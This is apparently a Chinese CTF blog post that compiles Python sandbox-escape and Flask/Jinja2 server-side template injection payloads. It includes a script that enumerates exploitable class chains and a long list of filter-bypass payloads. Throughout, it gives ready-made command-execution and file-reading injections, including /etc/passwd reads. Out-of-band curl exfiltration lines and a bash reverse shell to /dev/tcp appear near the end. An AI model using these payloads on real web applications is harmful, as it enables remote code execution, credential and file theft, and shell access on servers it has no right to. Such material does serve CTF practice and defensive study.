python沙盒绕过&ssti一网打尽

前两天去打一个线下赛被无情吊打，全体自闭。虽然大家基本都不是靠做题得的分，但web题是一道python的flask ssti。当时做的很慢。所以决定整理一下相关利用思路及绕过过滤的方法。
首先就是发现漏洞点，其实python的题一般也就是考这个了，试试404页面，或者其他返回用户输入的地方。输入或者算术式观察结果就行了。有时候是利用secret_key等信息泄露，这篇文章主要讲一些文件读取或命令执行的方法。
首先先丢几个常见的payload。因为这就是我以前做题的第0步：找一堆payload挨个试(

1
2
3
4
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
''.__class__.__mro__[-1].__subclasses__()[119].__init__.__globals__['os'].system('ls')
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

好像差不多，又好像不太一样，但是也不知道怎么来的也不知道怎么改。不过拆开来看其实还是有规律的。
最开始可能不知道一堆下划线在干嘛，先总结一下：
用到的主要有三种数据类型，函数、类、模块
函数具有__globals__属性，返回一个字典当前函数全局空间的模块、函数及变量
类有__dict__属性，是一个字典，包含的类型有函数等
模块有__dict__属性，是一个字典，包含的类型有模块、函数、字典、类等，看区别：

1
2
3
4
>>> [type(i) for i in object.__subclasses__()[59].__dict__.values()] #类的dict内容
[<type 'str'>, <type 'tuple'>, <type 'str'>, <type 'getset_descriptor'>, <type 'getset_descriptor'>, <type 'function'>, <type 'function'>]
>>> [type(i) for i in object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()]#模块的dict内容
[<type 'function'>, <type 'function'>, <type 'list'>, <type 'dict'>, <type 'str'>, <type 'dict'>, <type 'function'>, <type 'function'>, <type 'NoneType'>, <type 'module'>, <type 'function'>, <type 'str'>, <type 'module'>, <type 'str'>]

__builtins__是一个字典，包括已经被加载到内存中的函数
类.__subclasses__() 一个内置函数，返回类的所有子类
其实python中函数、模块本质都是一个对象，所以有些函数也可以调用__dict__方法，但可能就是空的
所以可以理解为几个if else，查找可利用的函数(popen、system等)及模块(os、sys等)：
1 遇到函数就访问__globals__
2 遇到类就查看__dict__，查看可用的函数或跳转到1
3 遇到模块就查看__dict__，查看可用的模块函数等等，可以继续跳转到123
知道了这些基本原则后，要有一个出发点，在命令行中可以直接调用object对象。不能直接调用object的话有以下方法：
1、从一个容易获得的对象实例入手
2、寻找它的基类来找到object对象
3、遍历object对象的子类并从中寻找可以利用来执行命令的函数/模块。
那么就一步一步来分析这个过程。
就按照上面分的点来拆开分析：
1、一个容易获得的对象实例
我们需要利用这个对象来找到基类object，因为python3中object是一切对象的父类，所以只要有个对象就行了。最方便的就是内置对象比如字符串、列表、元组、字典等等。所以最开始的部分就是’’、[]、()、{}或其他能访问到的对象实例。
2、寻找object基类
以字符串为例，’’.__class__指向该实例对应的类，__class__功能和type函数一样，都是查看实例所在的类。’’.__class__属于type类，而type的父类是object。通过__base__方法或__mro__方法得到object类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> type('')
<class 'str'>
>>> ''.__class__ #和上一行等价
<class 'str'>
>>> type(''.__class__)
<class 'type'>
>>> type(type('')) #和上一行等价
<class 'type'>
>>> type('').__base__
<class 'object'>
>>> ''.__class__.__base__ #和上一行等价
<class 'object'>
>>> ''.__class__.__mro__[-1] #和上一行等价
<class 'object'>

3、遍历object对象的子类并从中寻找可以利用来执行命令的函数。
首先获取object类的子类

1
>>> object.__subclasses__()

这里的结果是一个列表，列表内是所有class(python3)或type(python2)。而python2中object子类中包含file类，所以就有了上面的第一个payload

1
2
3
4
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
>>> ''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
#类似的读文件的类还有urllib.request.URLopener

另外还有一个直接的pyaload，利用builtin_function_or_method类的__call__方法调用eval，但一般内置的eval会被删除：

1
2
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
[].__getattribute__('append').__class__.__call__(eval, '1+1')

python3中移除了file类，所以需要找另外的方法。python中的函数有一个__globals__魔法方法，函数名.__globals__会返回一个当前语境空间下能使用的模块，方法和变量的字典。这样就可以无中生有再找到许多能利用的模块或函数。但这个方法的前提是要有个函数(或者method)，而有些类会有__init__、__enter__、__exit__等内置函数。写个程序找一下满足条件的类：

1
2
3
4
5
6
7
l = len(object.__subclasses__())
for i in range(l):
	for key in object.__subclasses__()[i].__dict__.keys():
		t = type(object.__subclasses__()[i].__dict__.get(key)).__name__

		if 'wrapper' not in  t:
			print (i, object.__subclasses__()[i],key)

找到这些类就有了一条链：类.函数.__globals__,之后就可以在globals中找可以执行命令的函数或者相关的库，获取到globals字典后，可以利用的方式大概分为这几种：

1
2
3
4
5
6
7
8
9
10
11
1)class.func.__globals__[目标函数/模块]
globals里面就有可利用的模块/函数了，比如
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['sys']
改造下变成不需要序号的版本
[c for c in object.__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['sys']
2)class.func.__globals__['__builtins__'][目标函数]
在globals里面的builtins里面找可用的函数，比如
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']
3)class.func.__globals__[模块].__dict__[目标函数/模块]
在globals里面其他模块的__dict__里面寻找，或者直接用hasattr(class.func.__globals__[key],目标函数/模块)，如
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os']

然后可以选择套娃，在globals中其他函数/类的函数的globals中再找，比如class.func.__globals__[函数].__globals__[目标函数/模块]，class.func.__globals__[模块].__dict__[模块].__dict__[目标函数/模块]，从globals中的某个类再遍历子类等等,又会有很多，但是意义就不是很大。
最开始也可以递归遍历所有子类，会比直接object.__subclasses__()得到更多的类：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def get_all_subclasses(cls):
    all_subclasses = []

    for subclass in cls.__subclasses__():
    	if subclass.__name__ != 'type':
        	all_subclasses.append(subclass)
        	all_subclasses.extend(get_all_subclasses(subclass))

    return all_subclasses

def get_cls(cls,target_cls,bases):
	if cls.__name__ == target_cls.split('.')[-1] and cls.__module__ == '.'.join(target_cls.split('.')[:-1]):
		print(bases)
	
	for subclass in cls.__subclasses__():
		bases.append(subclass)
		if subclass.__name__ != 'type':
			get_cls(subclass,target_cls,bases)		
		bases.pop()

get_cls(object,'os._Environ',[object])

这样会找出一些比较深的利用链，比如os._Environ类的继承链

1
<class 'object'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Collection'>, <class 'collections.abc.Mapping'>, <class 'collections.abc.MutableMapping'>, <class 'os._Environ'>：
1
object.__subclasses__()[103].__subclasses__()[2].__subclasses__()[1].__subclasses__()[0].__subclasses__()[0].__init__.__globals__['popen']('whoami').read()

当然好像也并没有什么用处(
写了个脚本，按照上面三类方法查找所有可利用的payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
func_cls_dict = {}
classes = get_all_subclasses(object)
classes = object.__subclasses__()
l = len(classes)
# print(l)

for i in range(l):
	for key in classes[i].__dict__.keys():
		t = type(classes[i].__dict__.get(key)).__name__

		if 'function' == t:
			func_cls_dict[classes[i]] = key
			break

command_func = ['__import__','popen','system','exec','eval','execfile','compile','open','file']
# command_func = ['popen','eval','exec','system']
command_module = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys', 'command']
def get_func_cls(command_item,find_type=0):
	find_item = 'function'
	if find_type == 1:
		find_item = 'module'
	print('-'*20+'class.func.__globals__[target]'+'-'*20)
	
	for func_cls in func_cls_dict:
		usable = 0
		for com_func in command_item:
			func_globals = getattr(func_cls,func_cls_dict[func_cls]).__globals__
			if com_func in func_globals.keys() and find_item in type(func_globals[com_func]).__name__:
				sys.stdout.write(com_func+' ')
				usable = 1
			if com_func == command_item[-1] and usable:
				sys.stdout.write(func_cls_dict[func_cls]+' ')
				print(func_cls)
	
	print('-'*20+"class.func.__globals__['__builtins__'][target]"+'-'*20)
	for func_cls in func_cls_dict:
		for com_func in command_item:
			if com_func in getattr(func_cls,func_cls_dict[func_cls]).__globals__['__builtins__'].keys():
				sys.stdout.write(com_func+' key: __builtins__ ')
				sys.stdout.write('func: '+func_cls_dict[func_cls]+' ')
				print(func_cls)

	
	print('-'*20+'class.func.__globals__[key].__dict__[target]'+'-'*20)
	
	for func_cls in func_cls_dict:
		for com_func in command_item:
			func_globals = getattr(func_cls,func_cls_dict[func_cls]).__globals__
			for key in func_globals.keys():
				if hasattr(func_globals[key],com_func) and find_item in type(getattr(func_globals[key],com_func)).__name__:	
					sys.stdout.write(com_func+' key: '+key+' ')
					sys.stdout.write('func: '+func_cls_dict[func_cls]+' ')
					print(func_cls)


get_func_cls(command_func,0)

只从object基类的子类中寻找，有300多种可用payload。不过其实用最基础的就够了，因为一般不会针对类名去进行过滤，而是针对一些特殊符号来进行过滤。接下来总结一下绕过过滤的方法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
1)过滤方括号
列表的下标用__getitem__代替，或者用pop代替。字典的键值可以用get方法或者values(keys().index('aaa'))(py2)代替，__dict__['os']这种可以直接用os代替
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].__dict__['popen']
可以转化为：
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
2)过滤引号
用chr()和加号绕过
3)过滤system、eval、os等
用字符串拼接绕过，编码绕过，比如eval变为'ZXZhbA=='.decode('base64')
4)过滤globals
__getattribute__('func_global'+'s') #python2
__getattribute__('__global'+'s__') #python2 python3
[x for x in object.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') #python2
这是利用类的实例化，没有利用函数，也就没有利用到globals，找一下还没发现其他满足这种用法的，但感觉应该会有。
5)过滤subclasses
利用getattr()，过滤小数点也用它
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')
利用__call__
''.zfill.__class__.__call__(eval,'1+1')
或者reload(__builtiins__)
另外python3.6以上也可以用fstring执行命令，但是在绕过的方面并没什么优点
f"{__import__('os').system('whoami')}"
还有一些只有在flask之类的模板中才能执行：
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]
同时过滤方括号的话，利用flask的attr方法
%22%22|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.ae)(%22popen%22)(%22ls%22)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&glo=__globals__&ae=__getitem__&re=read
过滤小数点
{{request[request['a'+'rgs']['x1']][request['a'+'rgs']['x2']][-1][request['a'+'rgs']['x3']]()[117][request['a'+'rgs']['x4']][request['a'+'rgs']['x5']]['popen']('cat+/fl*')['read']()[::-1]}}&x1=__class__&x2=__mro__&x3=__subclasses__&x4=__init__&x5=__globals__
过滤竖线
格式化字符串绕过，但是需要方括号
'{0:c}'.format(98)
"%c"%(98)
过滤双大括号
{% for c in []['__class__']['__base__']['__subclasses__']() %}
    {% if c['__name__'] == 'catch_warnings' %}
        {% for b in c['__init__']['__globals__']['values']() %}
            {% if b['__class__']=={}['__class__'] %}
                {% if 'eval' in b['keys']() %}
                  {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %}
                  {% endif %}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}
或者利用控制语句带外读取数据
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
或者逐位爆破
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
过滤subclasses、class
flask可以用键值代替点，也可以用attr
{{''.__class__.__mro__[-1]['__subclasses__']}}
{{request['__class__']}}
request|attr("__class__")
request|attr(request['args']['x1'])
利用cookie或者form绕过
{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
一些不常用的执行命令方法
__import__('builtins').__loader__.load_module('os').system('whoami')
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])
sys.call_tracing(__import__('os').system,('whoami',))

参考链接
https://xz.aliyun.com/t/2308
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/#0x05-%E7%BB%93%E5%90%88Flask%E5%92%8CJinja2%E7%89%B9%E6%80%A7%E7%9A%84%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%8A%80%E5%B7%A7
https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93
https://www.anquanke.com/post/id/188172
https://0day.work/jinja2-template-injection-filter-bypasses/
https://p0sec.net/index.php/archives/120/

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家